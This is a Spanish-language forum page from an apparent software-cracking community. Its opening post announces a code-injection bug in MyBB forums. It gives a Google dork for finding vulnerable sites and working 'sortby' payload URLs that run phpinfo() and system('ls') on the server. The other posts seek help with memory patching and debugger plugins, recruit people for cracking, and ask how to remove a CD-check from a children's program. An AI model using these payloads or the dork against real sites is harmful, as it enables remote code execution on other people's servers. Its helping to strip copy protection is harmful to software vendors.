He descubierto un bug que afecta los foros hechos en MyBB recientes.
mi dork: inurl:"forumdisplay.php?fid=" +intext:"MyBB Group"

Exploit:

Sintaxis:
http://www.sitiovulnerable.com/forumdisplay.php?fid=23&sortby=[exploit]

Ejemplos:
http://www.sitiovulnerable.com/forumdisplay.php?fid=23&sortby='];phpinfo();exit;//

http://www.sitiovulnerable.com/forumdisplay.php?fid=23&sortby='];system('ls');exit;//

by zion
Mi fuente.

hola, quisiera preguntar algo, si es que existe un programa o bien, la posibilidad de hacer que manipule direcciones de memoria de un programa y concatenarlo con acciones de otro programa. Por ejemplo: abro NOTEPAD y al dar clic en nuevo que me ejecute PAINT. He intentado con el Snippet Creator de Izcelion junto con el masm pero aun es dificil porque son muchas direcciones de memoria y codigo assembler que manejar. Si alguien tiene alguna idea de como hacerlo agradeceria mucho..
Gracias

donde puedo conseguir plugins para ollydbg?
gracias

una ayudita con konxise

Hola a todos, me llamo Zion, este es un lugar donde haremos cualquier cosa. No habra software con ultra-proteccion que nos gane. Aqui haremos hasta lo imposible para desproteger programas. Es el orgullo del cracker que nos hara crecer y evolucionar. No lo estoy presumiendo. Aqui haremos intercambios de herramientas, competencias de crackmeses, etc.. Por favor si existe alguna idea para montar algo les agradeceria mucho.
Mis herramientas actuales: (Ollydbg, softice, ProcDump, hexedit, fileInspector, IDAPro, ExeScope, APIS32, ResHacker, WDASM32, entre otros). Yo no soy buen cracker pero me gusta crackear. Espero su colaboraciones con cualquier cosa. zion1024@hotmail.com

Hola a todos, tengo un problema para depurar un programa,  se llama "A APRENDER CON PIPO", es un programa infantil para niños, y esta protegido por el tipico CD-CHECK, y mi objetivo es sacarlo. Quisiera no usar un simulador de CD-ROM porque ese truco es mas vieja que mi abuela.
Mi problema es lo siguiente: el archivo ejecutable del programa PIPOLEE.EXE esta empacado y al ser ejecutado el programa no aparece en el administrador de tareas de windows, tampoco ningun depurador lo detecta, ni el ProcDump, yo trato de ver el ejecutable con el File InPEctor: tampoco lo detecta: me sale un error. Quisiera una ayudita. si se puede y disculpas por la forma de escribir. zion1024@hotmail.com